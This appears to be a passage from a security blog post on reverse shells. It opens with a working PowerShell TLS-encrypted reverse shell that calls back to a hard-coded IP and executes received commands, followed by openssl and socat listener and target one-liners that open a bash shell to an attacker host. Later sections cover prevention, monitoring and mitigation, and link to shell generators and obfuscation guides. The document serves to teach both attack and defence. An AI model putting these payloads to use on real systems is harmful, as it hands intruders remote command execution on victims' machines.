$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('192.166.15.20', 6789);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
attacker
1
user@pwnarchive:~$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port 6789
Socat
If the target has socat available on their machine this can be done even easier.
Attacker
1
user@pwnarchive:~$ socat OPENSSL-LISTEN:4443,cert=cert.pem,verify=0 -
On target
1
$ socat EXEC:/bin/bash,pty,stderr,setsid,sigint,sane OPENSSL:attacker_ip:4443,verify=0
We’ve seen the attacker side, now how do we defend against these techniques.
Prevention
To reduce the risk of remote shell attacks a layered defense strategy is key
Patch Management : Keep systems and applications updated with the latest security patches.
Firewall Rules: Apply strict firewall rules to block unauthorized outbound traffic while allowing only essential services (web, email, etc.). This prevents reverse shells from calling back to an attacker.
Endpoint Security: Use endpoint protection such as antivirus and anti‑malware to detect and block malicious payloads before they establish a shell.
User Education: Training users to recognize phishing and social engineering attempts, which remain the most common delivery methods for reverse shell payloads.
Monitoring
Detection is just as important as prevention. Watch for these:
Suspicious non‑admin user actions: Commands like
whoamior unusual SMB connections between end hosts can indicate compromise. Enable logging of shell usage, PowerShell activity, and user interactions for visibility.Anomalous network sessions: Monitor NetFlow or firewall logs for unusual traffic patterns, such as traffic on nonstandard ports (e.g., 4444), bulk HTTP requests, or unexpected remote logins. Tools like SIEMs and network monitors help identify these anomalies.
File uploads: Malicious uploads are a common entry point for shells. Review application logs for suspicious files, and harden any internet‑facing hosts. Adding deep packet inspection can also help.
Potential Mitigations
To further limit exposure and impact:
Application Sandboxing: Isolate exposed applications so that even if exploited, the attacker’s reach is contained.
Least Privilege Policies: Grant users only the permissions they need, reducing the impact of a compromise.
Host Segmentation & Hardening: Harden boundary hosts and segment them from internal systems to prevent lateral movement.
Layered Firewalls: Use both physical and application‑layer firewalls with strict inbound/outbound rules. Denying unauthorized traffic and restricting ports can disrupt both bind and reverse shells.
Useful tools and websites
Reverse Shell Templates
A handy generator for reverse shell payloads revshells.comReverse Shell Cheatsheets
A comprehensive collection of reverse shell one-liners and techniques:
Internal All The Things | Reverse Shell Cheat SheetPwncat
pwncat is a post-exploitation platform pwncatGTFObins (shell breakout bins section)
A list of binaries which can be used to breakout of restrictive enviroments GTFObin (shell breakout bins section)Fully Interactive shell cheatsheet
InternalAllTheThings | Spawn a TTY shell
Great Articles
Encrypted Reverse Shell for Pentesters
A detailed walkthrough on creating encrypted shells to avoid sending plaintext data.
Hacking ArticlesFully interactive shell windows
Tricks on how to get a windows interactive shell.
zekosec0xffsec Restricted shells Escape from restricted shells
Restricted shellsPowershell Obfuscation
Invoke-Obfuscation guide.
The Invoke Obfuscation Usage guide

![[receiving-bind.gif]](/assets/img/images/posts/shells/receiving-bind.gif)
![[sending-bind.gif ]](/assets/img/images/posts/shells/sending-bind.gif)
![[Pasted image 20250922195953.png]](/assets/img/images/posts/shells/jerry.png)

![[Pasted image 20250923120933.png]](/assets/img/images/posts/shells/reverseIlustration.png)
![[Pasted image 20250923072946.png]](/assets/img/images/posts/shells/upload.png)
![[Pasted image 20250923072946.png]](/assets/img/images/posts/shells/webshell.png)

![[Screenshot From 2025-09-23 23-49-25.png]](/assets/img/images/posts/shells/bashfuscator.png)
![[Pasted image 20250923072946.png]](/assets/img/images/posts/shells/tutorial_Invoke-Obfuscation.png)
![[Pasted image 20250923072946.png]](/assets/img/images/posts/shells/scriptblock.png)
![[Pasted image 20250923072946.png]](/assets/img/images/posts/shells/optionsInvoke.png)
![[Pasted image 20250923072946.png]](/assets/img/images/posts/shells/tokenAllInvoke.png)
![[Pasted image 20250923072946.png]](/assets/img/images/posts/shells/InvokeObfuscationOUT.png)
![[Screenshot From 2025-09-24 08-53-28.png]](/assets/img/images/posts/shells/pcap1.png)
![[Screenshot From 2025-09-24 08-54-11.png]](/assets/img/images/posts/shells/pcap2.png)